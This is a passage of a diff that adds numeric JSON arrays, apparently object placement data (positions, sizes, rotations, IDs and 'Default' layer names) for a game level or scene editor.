+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2066,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7678,
+ 653,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 2067,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6161,
+ 519,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2073,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6345,
+ 428,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2082,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5859,
+ 718,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 2083,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5886,
+ 703,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2085,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5285,
+ 661,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2086,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5171,
+ 856,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2087,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5400,
+ 850,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2088,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6501,
+ 443,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 2089,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7009,
+ 528,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 2090,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6678,
+ 457,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.05222109705209732,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 2091,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5520,
+ 813,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9995859265327454,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 2092,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5282,
+ 573,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2093,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5140,
+ 883,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2094,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5232,
+ 883,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2095,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5277,
+ 678,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 2096,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5277,
+ 676,
+ 0,
+ 90.9178466796875,
+ 51.08673095703125,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2097,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5324,
+ 883,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2098,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5416,
+ 883,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2099,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5646,
+ 741,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9995859265327454,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 2100,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5550,
+ 941,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 2101,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5932,
+ 941,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 2102,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5588,
+ 795,
+ 0,
+ 299,
+ 51,
+ 0,
+ -0.5235991477966309,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2103,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5749,
+ 740,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2104,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5840,
+ 740,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2105,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5932,
+ 740,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2106,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6024,
+ 645,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2107,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6024,
+ 740,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2108,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6116,
+ 645,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2109,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6116,
+ 550,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2110,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5749,
+ 835,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2111,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5840,
+ 835,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2112,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5932,
+ 835,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2113,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6024,
+ 835,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2114,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6116,
+ 740,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3264,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6116,
+ 835,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3265,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5749,
+ 930,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3266,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5840,
+ 930,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3267,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5932,
+ 930,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3268,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6024,
+ 930,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3269,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6116,
+ 930,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3270,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5416,
+ 978,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3271,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5416,
+ 1074,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3272,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5416,
+ 1169,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3273,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5932,
+ 837,
+ 0,
+ 457.285888671875,
+ 276.20166015625,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3274,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6071,
+ 742,
+ 0,
+ 184.09130859375,
+ 276.20166015625,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3275,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6116,
+ 743,
+ 0,
+ 91.79345703125,
+ 468.176025390625,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3276,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6208,
+ 550,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3277,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6300,
+ 550,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3278,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6300,
+ 455,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3279,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6392,
+ 455,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3280,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6392,
+ 550,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3281,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6484,
+ 455,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3282,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6484,
+ 550,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3283,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6576,
+ 455,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3284,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6576,
+ 550,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3285,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6802,
+ 530,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.05222109705209732,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 3286,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6903,
+ 594,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3287,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7114,
+ 526,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3288,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7206,
+ 526,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3289,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7390,
+ 526,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3290,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6903,
+ 689,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3291,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6903,
+ 974,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 477,
+ 3292,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6903,
+ 784,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3293,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6903,
+ 879,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3294,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6201,
+ 546,
+ 0,
+ 123.974609375,
+ 75,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3295,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6438,
+ 459,
+ 0,
+ 368.37939453125,
+ 96.15914916992188,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3296,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6717,
+ 524,
+ 0,
+ 277.4059753417969,
+ 96.15914916992188,
+ 0,
+ 0.5235987901687622,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3297,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6903,
+ 600,
+ 0,
+ 277.4059753417969,
+ 96.15914916992188,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3298,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6979,
+ 587,
+ 0,
+ 262.8316040039063,
+ 96.15914916992188,
+ 0,
+ -0.5061454772949219,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3299,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7161,
+ 718,
+ 0,
+ 183.0292663574219,
+ 471.5202331542969,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3300,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7483,
+ 530,
+ 0,
+ 273.4289245605469,
+ 96.15914916992188,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3301,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7393,
+ 204,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3302,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7394,
+ 126,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3303,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7394,
+ 47,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3304,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7394,
+ -32,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3305,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5877,
+ 603,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3306,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6337,
+ 341,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3307,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
